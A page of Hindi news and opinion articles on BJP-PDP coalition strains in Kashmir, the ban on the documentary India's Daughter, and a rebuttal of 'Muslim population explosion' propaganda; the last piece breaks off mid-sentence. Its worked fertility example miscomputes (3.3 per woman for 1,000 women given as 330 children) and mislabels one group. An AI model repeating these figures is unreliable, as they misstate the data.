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बेमेल ब्याह और तलाक के हजार बहाने

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कुछ दिन पहले ही भारतीय जनता पार्टी के राष्ट्रीय अध्यक्ष अमित शाह को नागपुर स्थित संघ मुख्यालय में तलब किया गया था. सूत्र बताते हैं कि अमित शाह से संघ प्रमुख ने दो टूक शब्दों में साफ कर दिया कि कश्मीर में इस तरह से गठबंधन नहीं चल सकता. भाजपा को सरकार से बाहर निकलने के बारे में सोचना शुरू करना चाहिए. हालांकि संघ के हालिया बयान इससे विपरीत आए हैं. संघ ने भाजपा को सार्वजनिक तौर पर फिलहाल ब्रीथिंग स्पेस दे दिया है. संघ के अनुसार भाजपा-पीडीपी गठबंधन एक प्रयोग है और इसे और समय दिया जाना चाहिए.

संघ प्रमुख से मुलाकात के बाद अमित शाह ने पार्टी के संसदीय बोर्ड के सामने संघ प्रमुख की राय को रखा. अंत में आम राय यह बनी कि अभी सरकार से समर्थन वापस नहीं लिया जाना चाहिए. वक्ती तौर पर पीपुल्स डेमोक्रेटिक पार्टी यानी पीडीपी को सख्त लहजे में चेताकर आगे बढ़ना ठीक रहेगा. इशारों में संदेश दे दिया जाए कि आगे कोई भी गड़बड़ी हुई तो भाजपा गठबंधन से बाहर निकल जाएगी. यह सारी कवायद राज्य सरकार द्वारा अलगाववादी नेता मसर्रत आलम की रिहाई के बाद हुई है. शाह ने पार्टी के निर्णय से जम्मू कश्मीर सरकार में उपमुख्यमंत्री निर्मल सिंह को भी अवगत करा दिया.

पार्टी के एक नेता कहते हैं, ‘प्रदेश भाजपा को सूचित किया जा चुका है कि उसे पीडीपी की हरकतों से रक्षात्मक मुद्रा अख्तियार करने की जरूरत नहीं है. आगे पीडीपी की तरफ से अगर कोई गड़बड़ी हुई तो पार्टी समर्थन वापस लेने में हिचकेगी नहीं.’ भाजपा के शीर्ष नेतृत्व ने अपनी नाराजगी से पीडीपी नेतृत्व को भी अवगत करा दिया है.

दोनों के संबंधों पर ग्रहण लगने की शुरुआत तो नई सरकार के शपथ ग्रहण के साथ ही शुरू हो गई थी. मुख्यमंत्री पद की शपथ लेने के घंटेभर के भीतर ही प्रेस कॉन्फ्रेंस को संबोधित करते हुए मुख्यमंत्री मुफ्ती मोहम्मद सईद ने बयान दिया, ‘जम्मू कश्मीर में शांतिपूर्ण चुनाव के लिए पाकिस्तान, हुर्रियत कॉन्फ्रेंस और आतंकी संगठनों को भी श्रेय दिया जाना चाहिए, क्योंकि उन्होंने चुनाव के लिए अनुकूल वातावरण तैयार किया.’

मुफ्ती ने दावा किया कि उन्होंने इस संबंध में प्रधानमंत्री नरेंद्र मोदी से भी साफ कहा था कि अगर सीमा पार से अलगाववादी नेता हरकत करते तो ऐसा चुनाव नहीं हो पाता. हुर्रियत, पाक और आतंकियों ने ही राज्य में चुनाव के लिए बेहतर माहौल बनाया. अभी मुफ्ती के इस बयान पर जम्मू से लेकर पूरे देश में बवाल मचा ही था कि अगले दिन पीडीपी के सात विधायकों ने केंद्र सरकार से एक पत्र लिखकर मांग की कि संसद पर हमले में फांसी की सजा पा चुके अफजल गुरु के अंतिम अवशेष केंद्र सरकार उसके परिजन को सौंपे. अपने पत्र में इन विधायकों ने कहा कि अफजल को फांसी देकर न्याय का मजाक उड़ाया गया था. इन विधायकों और पूर्व में पीडीपी की भी यह शिकायत रही है कि अफजल गुरु को 28वें नंबर से उठाकर सीधे फांसी पर चढ़ा दिया गया. जबकी अफजल ने राष्ट्रपति के यहां दया याचिका दायर कर रखी थी.

पीडीपी विधायकों की इस मांग पर राजनीतिक बवाल मचना ही था. अभी इस विषय पर कोई दूसरी पार्टी विरोध करती, उससे पहले ही प्रदेश भाजपा के नेताओं और कार्यकर्ताओं ने इसकी आलोचना करते हुए जम्मू में धरना-प्रदर्शन शुरू कर दिया. प्रदेश सरकार में भाजपा के मंत्रियों के साथ ही प्रदेश भाजपा के नेता-कार्यकर्ताओं ने भी पीडीपी विधायकों की इस मांग पर अपनी तीखी

नाराजगी जताई.

भाजपा अपने गठबंधन की सहयोगी के खिलाफ नाराजगी का इजहार कर ही रही थी कि पीडीपी के एक और फैसले ने दोनों के संबंधों में तनाव को नया आयाम दे दिया. खबर आई कि जम्मू कश्मीर की मुफ्ती सईद सरकार ने एक आदेश जारीकर अलगाववादी नेता मसर्रत आलम को रिहा कर दिया. आलम को साल 2010 में कश्मीर घाटी में हुए हिंसक प्रदर्शन और पथरावों का मास्टरमाइंड बताया जाता है. इसके अलावा भी उसके ऊपर कई मामलों में एफआईआर दर्ज है. पिछले साढ़े चार वर्षों से वो जेल में बंद था. मुफ्ती सरकार ने मसर्रत की रिहाई को अपनी उस नीति का हिस्सा बताया जिसके तहत वो ऐसे राजनीतिक बंदियों को जेल से बाहर निकालना चाहती है जिनके ऊपर कोई आपराधिक मामला न दर्ज हो.

मुफ्ती सरकार के मसर्रत को रिहा करने के फैसले के सामने आते ही यह मामला जंगल की आग की तरह फैल गया. जम्मू कश्मीर सरकार में साझीदार भाजपा ने मसर्रत की रिहाई के फैसले पर हैरानी जताई. उसका कहना था कि मुफ्ती सरकार ने उससे इस बारे में कोई सलाह मशविरा तक नहीं किया और न ही उन्हें कोई सूचना दी. देखते-देखते मर्सरत की रिहाई बड़ा मुद्दा बन गई. देश के अलग-अलग हिस्साें में मुफ्ती सरकार के इस निर्णय और खासकर भाजपा की चुप्पी की आलोचना होने लगी. भाजपा विरोधी पार्टियों ने कहना शुरू किया कि वो खुद को राष्ट्रवादी बताती है लेकिन उसी के राज में आतंकवादियों को आंख मूंदकर रिहा किया जा रहा है. लोकसभा और राज्यसभा में भी कांग्रेस समेत अन्य विरोधी दलों ने नरेंद्र मोदी को घेरते हुए इस मसले पर बयान देने की मांग रखी.

जवाब में, मोदी ने लोकसभा में इस विषय पर तल्ख बयान दिया. उनके मुताबिक सरकार बनने के बाद जम्मू कश्मीर में जो गतिविधियां हो रही हैं वे न तो भारत सरकार से सलाह करके हो रही हैं, न ही भारत सरकार की जानकारी में हो रही हैं. सदन में और देश में जो आक्रोश है, मैं भी उस आक्रोश का हिस्सा हूं. यह देश अलगाववाद के मुद्दे पर दलबंदी के आधार पर न पहले कभी सोचता था, न अब सोचता है, न आगे कभी सोचेगा. भाजपा वहां सरकार में हिस्सेदार है, आप उसकी भरपूर आलोचना करें, होनी भी चाहिए लेकिन ऐसा करते

समय देश की एकता के संबंध में यह संदेश नहीं जाना चाहिए कि हमारे भिन्न स्वर हैं. ऐसा संदेश न देश में, न दुनिया में और न कश्मीर में जाना चाहिए. यह पूछा जा रहा है कि मोदी जी चुप क्यों हैं, ऐसा कोई कारण नहीं है कि हमें इस मुद्दे पर चुप रहना पड़े.

चिर परिचित लहजे में मोदी ने संसद भवन में बयान दिया, ‘हम वो लोग हैं जिन्होंने इन आदर्शों के लिए श्यामा प्रसाद मुखर्जी का बलिदान दिया है, इसलिए कृपया हमें देशभक्ति न सिखाएं. सरकार ऐसी किसी भी हरकत को स्वीकार नहीं करती है. देश की अखंडता से कोई समझौता नहीं किया जाएगा. जम्मू कश्मीर सरकार से इस बारे में स्पष्टीकरण मांगा गया है.’

जम्मू कश्मीर में सरकार बनाने के लिए दोनों दल महीनेभर से अधिक समय तक माथापच्ची करते रहे, जहां विचारधारा संबंधी खाइयों की अनदेखीकर, वैचारिक खतरों का जोखिम उठाते हुए दोनों साथ आए थे, वहां ऐसे कौन से कारण हैं कि सरकार गठन के महीने-भर के भीतर ही संबंधों में सीलन आ गई. क्यों महीने-भर में ही इस गठबंधन में गांठ पड़ गई? क्या इस सरकार का गठन ही अप्राकृतिक था? क्या इसके मूल में ही टकराव था, जो अब सामने आ रहा है?

इन सवालों के जवाब ढूंढ़ने के लिए हमें पिछले विधानसभा चुनावों और थोड़ा जम्मू कश्मीर के इतिहास में झांकना होगा. चुनाव परिणाम में जनता ने किसी भी पार्टी को पूर्ण बहुमत नहीं दिया था. पीडीपी 28 सीटों के साथ सबसे बड़ी पार्टी के रूप में उभरी, वहीं भाजपा प्रदेश में इतिहास रचते हुए पहली बार 25 सीटों के साथ दूसरे नंबर पर रही. ऐसा पहली बार हुआ कि भाजपा को जम्मू कश्मीर में इतनी अधिक सीटों पर जीत मिली थी.

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2014 लोकसभा चुनाव में ऐतिहासिक बहुमत हासिल करने के बाद से ही भाजपा की नजर जम्मू कश्मीर पर टिकी थी. प्रधानमंत्री बनने के बाद मोदी ने जम्मू कश्मीर की छह यात्राएं की. पार्टी इस बार के विधानसभा चुनाव में बेहद आक्रामक तरीके से शामिल हुई. भाजपा नेता सरेआम कहते सुने जा सकते थे कि अबकी बार कश्मीर में पार्टी एक हिंदू को मुख्यमंत्री बनाएगी. इस चुनावी संघर्ष में प्रधानमंत्री मोदी ने भी प्रचार करने में कोई कोर कसर बाकी नहीं रखी. चुनाव परिणाम ऐसे नहीं आए कि भाजपा अकेले अपने दम पर सरकार बना सके. इन नतीजों ने प्रदेश की राजनीतिक स्थिति को और जटिल बना दिया. किसी भी दल को बहुमत न मिलने के कारण सरकार गठन के लिए गठबंधन ही एकमात्र रास्ता बचा था. पार्टियों की आपस में बातचीत होती रही लेकिन अगले एक महीने-तक कोई रास्ता नहीं निकला. महीनेभर बाद कई दौर की चिंतन बैठकों के बाद भाजपा-पीडीपी ने मिलकर सरकार बनाने का फैसला किया.

उल्लेखनीय है कि दोनों पार्टियां दो विपरीत वैचारिक छोरों पर खड़ी हैं. जम्मू और कश्मीर के बीच यह खाई जनादेश में भी साफ झलकती है. जहां जम्मू क्षेत्र की कुल 37 सीटों में से 25 सीटें भाजपा की झोली में आई हैं वहीं पीडीपी को मिली कुल 28 सीटों में से 25 सीटें उसे कश्मीर घाटी से मिलीं. जाहिर है जम्मू के हिंदू बहुल इलाके में भाजपा है तो घाटी का मुस्लिम बहुल इलाका पीडीपी का गढ़ है. जम्मू कश्मीर की राजनीति का ध्रुवीकरण बताता है कि दोनों हिस्से एक-दूसरे से एकदम अलहदा हैं.

चूंकि कांग्रेस और नेशनल काॅन्फ्रेंस को जनता ने नकार दिया था इसलिए सरकार बनाने का नैतिक बल पीडीपी और भाजपा के पास ही था. तमाम वैचारिक खाइयों के बावजूद पीडीपी के सामने भाजपा के साथ गठबंधन का विकल्प बचा था. भाजपा के पास तो सिवाए पीडीपी के कोई विकल्प ही नहीं था. इस राजनीतिक सच्चाई को समझते हुए इन पाटियों ने गठबंधन पर आगे बढ़ने का फैसला किया. एक-दूसरे के साथ अनगिनत बैठकों में चर्चा करके, कुछ तुम बदलों कुछ हम की राह अपनाते हुए, विवादास्पद विषयों को छोड़ते हुए साथ आने के नतीजे पर पहुंचे. कुछ लोग मजाक में इस बेमेल गठजोड़ को लव जिहाद का नाम देकर चुटकी लेते हुए भी दिखे.

तमाम मजबूरियों और सच्चाइयों को समझते हुए दोनों दल साथ आए. महीने-भर चली उठापठक के बाद यह तय हुआ कि दोनों दल अपनी-अपनी विचारधारा को किनारे रखते हुए एक कॉमन मिनिमम प्रोग्राम (न्यूनतम साझा कार्यक्रम) तय करेंगे. दोनों पार्टियों ने कहा कि वो विवादित मुद्दों से दूर रहते हुए प्रदेश के विकास के लिए काम करेगी.

यह तो सरकार बनाने तक की समस्या थी. असली संकट इसके बाद शुरू होना था. शुरुआत की घटनाओं से उस संकट की एक झलक मिल भी गई है. सरकार बनाने के इस क्रम में भाजपा के लिहाज से कुछ बहुत बड़े बदलाव देखने को मिले हैं. इसे हम भाजपा की पारंपरिक और वैचारिक जमीन में ऐतिहासिक बदलाव के तौर पर भी देख सकते हैं. कश्मीर को लेकर भाजपा का बहुत ही कठोर और अतिवादी स्टैंड रहा है. आजादी के बाद से अब तक वह स्टैंड कमोबेश कायम रहा था लेकिन अब भाजपा ने उस विचार को त्याग दिया है. इसके नतीजे उसके लिए कितने सुखद या दुखद होंगे इसका जवाब अभी समय के गर्भ में है.

जनसंघ के जमाने से ही भाजपा जम्मू कश्मीर को विशेष दर्जा देनेवाली संविधान की धारा 370 के खिलाफ रही है. पार्टी का दावा है कि उसके संस्थापक सदस्य श्यामा प्रसाद मुखर्जी ने कश्मीर को भारत का हिस्सा बनाने के लिए ही बलिदान दिया था. वो कश्मीर को अलग संवैधानिक दर्जा देने के खिलाफ लड़ते हुए वीरगति को प्राप्त हुए. उन दिनों मुखर्जी का नारा था- ‘एक देश में दो निशान,  एक देश में दो प्रधान, एक देश में दो विधान नहीं चलेंगे, नहीं चलेंगें’. कश्मीर को लेकर भाजपा नेता आज भी यही लाइनें दोहराते हैं. श्यामा प्रसाद मुखर्जी की लाइन ही आज तक भाजपा की लाइनें रही है.

श्यामा प्रसाद मुखर्जी की मृत्यु के बाद ‘जहां हुए बलिदान मुखर्जी, वो कश्मीर हमारा है’ का नारा गढ़नेवाली भाजपा कश्मीर में उस पार्टी के साथ सत्ता में साझीदार बनी जो धारा 370 को भारत से कश्मीर को जोड़नेवाले सेतू के रूप में देखती है. उसका साफ कहना है कि अगर इसे हटाया गया तो कश्मीर भी भारत का नहीं रह पाएगा. अब उसी भाजपा ने श्यामा प्रसाद मुखर्जी के जमाने से चली आ रही धारा 370 को खत्म करने की अपनी मांग को विराम दे दिया है.

इसे भी विडंबना ही कहेंगे कि जिस जम्मू कश्मीर से भाजपा दो विधान हटाने की बात करती थी उसी जम्मू कश्मीर में उसके नेता राज्य के संविधान के तहत ‘मैं विधि द्वारा स्थापित राज्य के संविधान के प्रति सच्ची श्रद्धा और निष्ठा रखूंगा’ कहकर शपथ ले रहे थे.

धारा 370 पर पीछे हटने के साथ ही भाजपा पश्चिमी पाकिस्तान से आए विस्थापितों को जम्मू कश्मीर का स्टेट सब्जेक्ट बनाने की अपनी दशकों पुरानी मांग भी छोड़ चुकी है. सन 1947 में पाकिस्तान के पश्चिमी इलाके से जम्मू आकर बसे दो लाख से ज्यादा लोग प्रदेश में पिछले छह दशकों से बिना राजनीतिक और नागरिक अधिकारों के जी काट रहे हैं. अब तक की प्रदेश सरकारों का कहना था कि ये लोग जम्मू-कश्मीर राज्य के सबजेक्ट नहीं हैं इसीलिए इन्हें वे सारे अधिकार नहीं मिल सकते जो यहां के लोगों को मिलते हैं. इनमें सबसे बड़ा अधिकार था राजनीतिक अधिकार. अर्थात राज्य में होने वाले चुनावों में मतदान करने का अधिकार. ये लोग न तो जम्मू कश्मीर विधानसभा के चुनावों में वोट डाल सकते हैं और न ही स्थानीय चुनावों में. यहां तक कि पंचायत के चुनावों में भी इन्हें वोट डालने का अधिकार नहीं है.

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जज-जूरी-जल्लाद

india_daughterशुतुरमुर्ग की तरह रेत में सिर गड़ाकर तूफान टल जाने की मानसिकता देश के राजनीतिक वर्ग के साथ मीडिया के एक हिस्से में भी फैल गई है. बड़े-बुजुर्ग कहते हैं कि समझदार लोग दूर की सोचते हैं, चतुर लोग नजदीकी फायदों के फेर में रहते हैं. बीते पखवारे देश के राजनीतिक वर्ग ने एक चतुराई-भरा फैसला किया. फैसला था 16 दिसंबर 2012 की बलात्कार पीड़िता के ऊपर बनी एक डॉक्युमेंट्री फिल्म के प्रदर्शन को प्रतिबंधित करने का. इस देश में अपनी सुविधा के हिसाब से फिल्मों, कलाकृतियों, किताबों को प्रतिबंधित करने की समृद्ध परंपरा रही है. हमने अस्सी के दशक में ही सलमान रश्दी की किताब सैटनिक वर्सेज की नकेल कस दी थी. रश्दी से अब तक के बीच एक लंबा समय गुजर चुका है. अधिकारों और अभिव्यक्ति के प्रति जागरुकता नए युग में पहुंच चुकी है. लेकिन एक हिस्सा आज भी अस्सी के दशक में चक्कर काट रहा है. जिन लोगों ने सैटनिक वर्सेज पर प्रतिबंध लगाया था उनमें से ज्यादातर ने किताब का मुखपृष्ठ तक नहीं देखा था. आज भी जिन लोगों ने इंडियाज डॉटर पर प्रतिबंध लगाया है उन्होंने फिल्म देखने तक की जहमत नहीं उठाई. ऐसा सिर्फ मीडिया के एक हिस्से द्वारा निभाई गई जज-जूरी और जल्लादवाली भूमिका के दबाव में किया गया.

इंडियाज डॉटर को लेकर जनता के बीच से विरोध की एक भी आवाज नहीं उठी थी. जाहिर है जनता समझदार है और वह फिल्म देखने के बाद ही फैसला कर पाती. लेकिन व्यवस्था के दो हिस्सों ने इसे भारत और पीड़िता का अपमान सिद्ध करना शुरू कर दिया. पहली तो देश की राजनीतिक जमात ही ठहरी दूसरा इस देश के मीडिया का एक हिस्सा. जी न्यूज और टाइम्स नाउ जैसे चैनलों ने फिल्म के विरोध में लगातार खबरें चलाई जिनके शीर्षक तक हास्यास्पद थे. जी न्यूज की कुछ लाइनें फूहड़ता के आस-पास थीं, ‘बीबीसी भारत छोड़ो’, ‘निर्भया का अपमान नहीं सहेगा हिंदुस्तान’.

जितना सतही व्यवहार मीडिया के एक हिस्से का था उससे भी ज्यादा नाटकीय रवैया भारत सरकार का था. फिल्म को देश में प्रतिबंधित करने के साथ ही गृहमंत्रालय का बयान आया कि वह फिल्म को अंतरराष्ट्रीय स्तर पर भी प्रतिबंधित करवाने के उपाय करेंगे. जबकि फिल्म की निर्देशक लेस्ली उडविन बार-बार  यही कहती रहीं कि फिल्म को देखने के बाद ही कोई निर्णय करें. तीसरी दुनिया की कथित महाशक्ति की यह हुंकार औंधे मुंह गिरी. सरकार के इस रवैये को बीबीसी ने भी आइना दिखाया. जिस फिल्म को आठ मार्च को रिलीज होना था उसे उन्होंने पांच मार्च को ही अंतरराष्ट्रीय स्तर पर रिलीज कर दिया. इतना ही नहीं इसके बाद पूरे भारत में प्रतिबंधित होते हुए भी यह फिल्म यूट्यूब के माध्यम से देखी-दिखाई गई. यह सरकार की शुतुरमुर्गी सोच थी कि वह मौजूदा समय में प्रतिबंध लगाकर लोगों को फिल्म देखने से रोक लेगी. वैसे आज पढ़ने के इच्छुक ज्यादातर लोगों के पास सैटनिक वर्सेज की पीडीएफ फाइल मौजूद है और सरकार का प्रतिबंध भी जारी है. सरकार का कहना है कि फिल्म से देश का अपमान हुआ है, देश का अपमान बलात्कार की घटनाओं से होता है न कि उन पर बनी डॉक्युमेंट्री फिल्मों से. जिस तेजी से सरकार ने संसद में बहस करवाकर प्रतिबंध की घोषणा की उस पर ध्यान देना होगा. संसद का बजट सत्र जारी है. सरकार द्वारा पूर्व में पास किए गए सारे अध्यादेश राज्यसभा में पास करवाने दूभर हो गए थे. भूमि अधिग्रहण का मसला गले में अटका हुआ था, कुछ दिन पहले ही राज्यसभा में सीताराम येचुरी के प्रस्ताव को राष्ट्रपति के अभिभाषण का हिस्सा बनाकर सरकार की किरकिरी हो चुकी थी. वैसे समय में एक डॉक्युमेंट्री फिल्म सरकार के लिए जीवनदान बन गई और देश का मीडिया सरकार के उस खेल में मोहरा बनकर रह गया.

मीडिया के एक हिस्से ने जिस तरह से इस फिल्म पर हो-हल्ला मचाया वह कहीं ज्यादा सोच का विषय है. अगर किसी देश का मीडिया ही प्रतिबंध और सेंसर की मांग करने लगेगा तो अभिव्यक्ति और अधिकारों पर खतरे गहरा जाएंगे. सारी मारा-मारी सूत न कपास, जूलाहों में लट्ठम लट्ठ वाली तर्ज पर हो रही थी. किसी को फिल्म के असल कंटेंट की जानकारी नहीं थी. अजीब-अजीब तर्क दिए गए, मसलन पीड़िता की पहचान उजागर की गई है, उसके मां-बाप की पहचान उजागर हुई है, जज को प्रभावित करने की कोशिश हो रही है आदि-इत्यादि. इस विषय पर बात साफ होनी चाहिए कि बलात्कार की जो पीड़िताएं जीवित नहीं हैं उनकी पहचान छुपाने का क्या मकसद है? 16 दिसंबर के मामले में पीड़िता के मां-बाप उन तमाम मंच फोरमों पर आते-जाते रहे हैं जहां उन्हें सम्मानित किया गया. उनकी पहचान तो पहले भी कभी छिपी नहीं थी. जहां तक जज के प्रभावित होने का मसला है तो उसमें मीडिया को अपनी भूमिका फिर से तय करनी होगी. ऐसा कहकर मीडिया क्या कोर्ट के विवेक पर प्रश्नचिन्ह नहीं उठा रहा.

इन दिनों भारत बहुत जल्दी अपमानित हो उठता है. हमारे अंदरूनी मसले पर किसी परदेसी की तटस्थ राय सुनते ही हम अपमान से सिहुरने लगते हैं. सबको पता है कि महिलाओं की सुरक्षा के मामले में हमारा रिकॉर्ड शर्मनाक है. कुन्नूर से लेकर बांदा, बदायूं तक बलात्कार की घटनाएं हर दिन हो रही हैं. अबोध, युवा, बुजुर्ग, शहरी, ग्रामीण, आदिवासी, दलित, विदेशी हर वर्ग की स्त्रियां शिकार हो रही हैं. गृहमंत्री राजनाथ सिंह संसद में अपनी भारी-भरकम आवाज में उससे भी भारी निराशा प्रकट करते हैं कि यह भारत को अपमानित करने की साजिश है. एक बलात्कारी जो फांसी की सजा पा चुका है उसके विचार अगर लोगों के सामने आते हैं तो इसमें देश का अपमान कैसे होता है. यह तो आत्ममंथन का जरिया बन सकता है, बलात्कारी सोच और मानसिकता को समझने और उससे निपटने का माध्यम बन सकता है. जिस मध्ययुगीन मानसिकता के वकील बलात्कारी का बचाव कर रहे हैं उन पर सरकारों की चुप्पी ज्यादा चिंतनीय है, वे आज भी अदालतों में वकालत कर रहे हैं.

अभी चतुराई का बोलबाला है, चतुराई ही हर समस्या का समाधान है.

मुस्लिम आबादी विस्फोट : मिथक और हकीकत

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गूगल पर मुस्लिम आबादी विस्फोट के सर्च के नतीजे बाकायदा हिसाब-किताब के साथ कहते हैं कि कैसे 2035 तक भारत में मुसलमानों की आबादी बढ़ कर 92.5 करोड़ हो जाएगी और हिन्दू आबादी सिर्फ 90.2 करोड़ तक ही पहुंच पाएगी. 2040 आते-आते हिन्दू त्योहार मनाए जाने बंद हो जाएंगे, बड़े पैमाने पर धर्मांतरण और गैर मुस्लिमों का नरसंहार होगा और 2050 तक पहुंचते-पहुंचते मुसलमान 189 करोड़ से भी ज्यादा हो जाएंगे और भारत एक मुस्लिम राष्ट्र हो जाएगा.

पिछले कई बरसों से संघ परिवार की तरफ से देश में यह दुष्प्रचार चलाया जा रहा है, कभी लुक-छिपकर, गुमनाम परचों और पैम्फलेटों के जरिए, कभी तरह-तरह के ब्लॉग और सोशल मीडिया की पोस्टों के जरिए, तो कभी खुलकर आधिकारिक रूप से भी. शायद आपको याद होगा कि अक्तूबर 2013 में राष्ट्रीय स्वयंसेवक संघ की कोच्चि में हुई राष्ट्रीय कार्यसमिति की बैठक के दौरान संघ के सरकार्यवाह दत्तात्रेय होसबाले ने हिंदुओं से खुलकर अपील की थी वह अपनी आबादी बढ़ाने के लिए कम से कम तीन बच्चे तो जरूर पैदा करें. हाल में साक्षी महाराज और साध्वी प्राची तो हिंदुओं से चार-चार बच्चे पैदा करने की अपील कर चुके हैं. विश्व हिंदू परिषद के कार्यकारी अध्यक्ष प्रवीण तोगड़िया भी पीछे नहीं रहे. इसी जनवरी में उन्होंने बरेली में विश्व हिंदू परिषद के 50वें स्थापना दिवस समारोह में कहा कि ‘चार बच्चों की बात करने पर इतना हंगामा क्यों खड़ा हो रहा है? जब मुसलमान ज्यादा बच्चे पैदा करता है तो लोग क्यों चुप रहते हैं. मुसलमान चार बीवियां और 10 बच्चे पैदा करता है. अगर दो बच्चों की बात करते हो तो कानून बनाओ. जो लोग ज्यादा बच्चे पैदा कर रहे हैं उनके खिलाफ भी कार्रवाई होनी चाहिए.’

अफवाह मशीनरी तो यूरोप के लोगों को भी डराने में लगी है कि जैसे मुसलमानों की आबादी पूरी दुनिया में बढ़ रही है, उसके कारण एक दिन यूरोप खत्म हो जाएगा

बद्रिकाश्रम के शंकराचार्य वासुदेवानन्द सरस्वती तो हिंदुओं के सामने सीधे 10 बच्चे पैदा करने का आंकड़ा रख दिया है, ताकि हिंदुओं की जनसंख्या बढ़ती रहे और उनका अस्तित्व खतरे में न पड़े. तो क्या सचमुच मुसलमान जान-बूझकर अपनी आबादी बढ़ा रहे हैं, ताकि एक दिन वे भारत में बहुसंख्यक हो जाएं? क्या सचमुच मुसलमान चार-चार शादियां करते हैं? क्या मुस्लिम औरतें 10-10 बच्चे पैदा करती हैं? क्या मुसलमानों की आबादी बढ़ने का यह एक बड़ा कारण है कि वे बहुविवाह करते हैं? क्या मुसलमान परिवार नियोजन को बिलकुल नहीं अपनाते और उसे इस्लाम विरोधी मानते हैं? क्या एक दिन वाकई मुसलमानों की आबादी इतनी हो जाएगी कि वह जनसंख्या के मामले में हिंदुओं से ज्यादा हो जाएंगे और क्या भारत कभी ‘मुस्लिम’ राष्ट्र बन सकता है? दिलचस्प यह है कि यह भड़काऊ शिगूफा सिर्फ भारत में ही नहीं छेड़ा जाता, बल्कि अफवाह मशीनरी तो यूरोप के लोगों को भी डराने में लगी है कि जिस तरह मुसलमानों की आबादी पूरी दुनिया में बढ़ रही है, उसके कारण एक दिन यूरोप खत्म हो जायेगा और उसकी जगह ‘यूरेबिया’ बन जाएगा? तो देखते हैं कि इन दावों में कितना दम है?

पहले भारत. जनगणना 2011 की रिपोर्ट सरकारी तौर पर कुछ दिनों में जारी होनेवाली है. यह रिपोर्ट तो सालभर पहले ही तैयार हो चुकी थी लेकिन लोकसभा चुनाव के कारण यूपीए सरकार ने तब इसे चुनाव तक के लिए रोक दिया था. सरकार को डर था कि रिपोर्ट के आंकड़ों के सामने आने से कहीं  हिंदुत्ववादी संगठनों को नए दुष्प्रचार का मौका न मिल जाए और चुनाव में सरकार के लिए नई मुसीबत खड़ी हो जाए. वैसे लीक हो कर यह रिपोर्ट तब ही कुछ जगहों पर छप गई थी. अभी हाल में ही यह ‘लीक’ रिपोर्ट फिर छपी है. तो 2011 की जनगणना की ‘लीक’ रिपोर्ट के मुताबिक़ देश की आबादी में मुसलमान 13.4 प्रतिशत से बढ़कर 14.2 प्रतिशत हो गए हैं और पहली बार हिंदुओं का प्रतिशत 80 से नीचे चले जाने का अनुमान है. 1961 में मुसलमान 10.7 प्रतिशत थे और  हिंदू 83.4 प्रतिशत. 2001 में मुसलमान बढ़ कर 13.4 प्रतिशत हो गए और  हिंदू घटकर 80.5 प्रतिशत ही रह गये. इसलिए ‘लीक’ रिपोर्ट के मुताबिक़ अगर मुसलमान बढ़कर 14.2 प्रतिशत हो गये हैं तो हिंदुओं की आबादी जरूर घटकर 80 प्रतिशत से नीचे जा सकती है.

क्या सचमुच मुसलमान जान-बूझकर अपनी आबादी बढ़ा रहे हैं, ताकक एक कदन वे भारत में बहुसंख्यक हो जाएं?
क्या सचमुच मुसलमान जान-बूझकर अपनी आबादी बढ़ा रहे हैं, ताकक एक कदन वे भारत में बहुसंख्यक हो जाएं?

myth1ऊपर से देखने पर तो ये आंकड़े डरानेवाले लगते हैं. और इन्हीं आंकड़ों को लेकर हिंदुत्व ब्रिगेड के षडयंत्रकारी हिन्दुओं को डराने, भड़काने और मुसलमानों के खिलाफ माहौल बनाने में लगे हैं. लेकिन यह आधा सच है. इस सच का दूसरा पहलू यह है कि मुसलमानों की दशकीय जनसंख्या वृद्धि की दर में पिछले दस साल में उल्लेखनीय कमी आई है. 1991 से 2001 के 10 सालों में मुसलमानों की आबादी 29 प्रतिशत बढ़ी, जबकि 2001 से 2011 के दशक में यह वृद्धि केवल 24 प्रतिशत रही. हालांकि यह 18 प्रतिशत के राष्ट्रीय औसत से अभी भी काफी ज्यादा है. मुस्लिम जनसंख्या के आंकड़ों का बारीकी से विश्लेषण करें तो पाएंगे कि मुसलमानों में छोटे परिवार को लेकर रुझान तेजी से बढ़ रहा है और जैसे-जैसे मुसलमानों में शिक्षा का प्रसार बढ़ेगा जैसे-जैसे उनकी आर्थिक हालत में सुधार होता जाएगा, वैसे-वैसे उनकी जनसंख्या वृद्धि की रफ्तार धीमी पड़ती जाएगी

भारत सरकार के राष्ट्रीय परिवार स्वास्थ्य सर्वेक्षण (एनएफएचएस) के आंकड़े संघ और उसके परिवार के हिंदुत्ववादी संगठनों द्वारा किए जा रहे दुष्प्रचार की चिंदी-चिंदी उड़ा देते हैं. पहला एनएफएचएस 1991-92 में, दूसरा 1998-99 में और तीसरा 2005-06 में हुआ था. यानी इन पन्द्रह सालों में प्रजनन दर, परिवार नियोजन और गर्भ निरोधक उपायों के इस्तेमाल के चलन को आसानी से देख सकते हैं. 1991-92 में हिंदू महिलाओं की प्रजनन दर यानी टीएफआर 3.3 और मुसलमानों की 4.41 थी. 1998-99 में हिंदू महिलाओं का टीएफआर 2.78 और मुसलमानों का 3.59 दर्ज किया गया. 2005-06 में हिन्दुओं का टीएफआर 2.59 और मुसलमानों का 3.4 रह गया. साफ है कि मुसलमानों की प्रजनन दर में इन 15 सालों में लगातार कमी आई है.

मुस्लिम जनसंख्या के आंकड़ों का बारीकी से विश्लेषण करें तो पाएंगे कि मुसलमानों में छोटे परिवार को लेकर रुझान तेजी से बढ़ रहा है

ab_arthikअब इन आंकड़ों को जरा सरल कर के देखें तो बात आसानी से समझ में आएगी. दो नमूने लेते हैं. एक हजार हिंदू महिलाएं और एक हजार मुस्लिम महिलाएं. इन आंकड़ों के हिसाब से 1991-92 में एक हजार हिंदू महिलाओं के (3.3 प्रति महिला x 1000) यानी 330 बच्चे हुए और एक हजार मुस्लिम महिलाओं के 441 बच्चे. यानी मुस्लिम महिलाओं ने  हिंदू महिलाओं की तुलना में 111 बच्चे ज्यादा पैदा किए. 1998-99 में एक हजार हिंदू महिलाओं के 278 बच्चे हुए और एक हजार मुस्लिम महिलाओं के 359 बच्चे, यानी मुस्लिम महिलाओं ने हिंदू महिलाओं की तुलना में केवल 81 बच्चे ही ज्यादा पैदा किये. कमी साफ है. और 2005-06 में एक हजार हिंदू महिलाओं के 259 बच्चे हुए और एक हजार हिन्दू महिलाओं के 340 बच्चे हुए, यानी वही 81 बच्चे अधिक पैदा हुए. इससे दो बातें स्पष्ट हैं कि 1991 से 2006 के पं्द्रह सालों में मुसलमान महिलाओं की प्रजनन दर में लगातार कमी आई है और दूसरे व तीसरे एनएफएचएस के बीच में तो मुसलमान 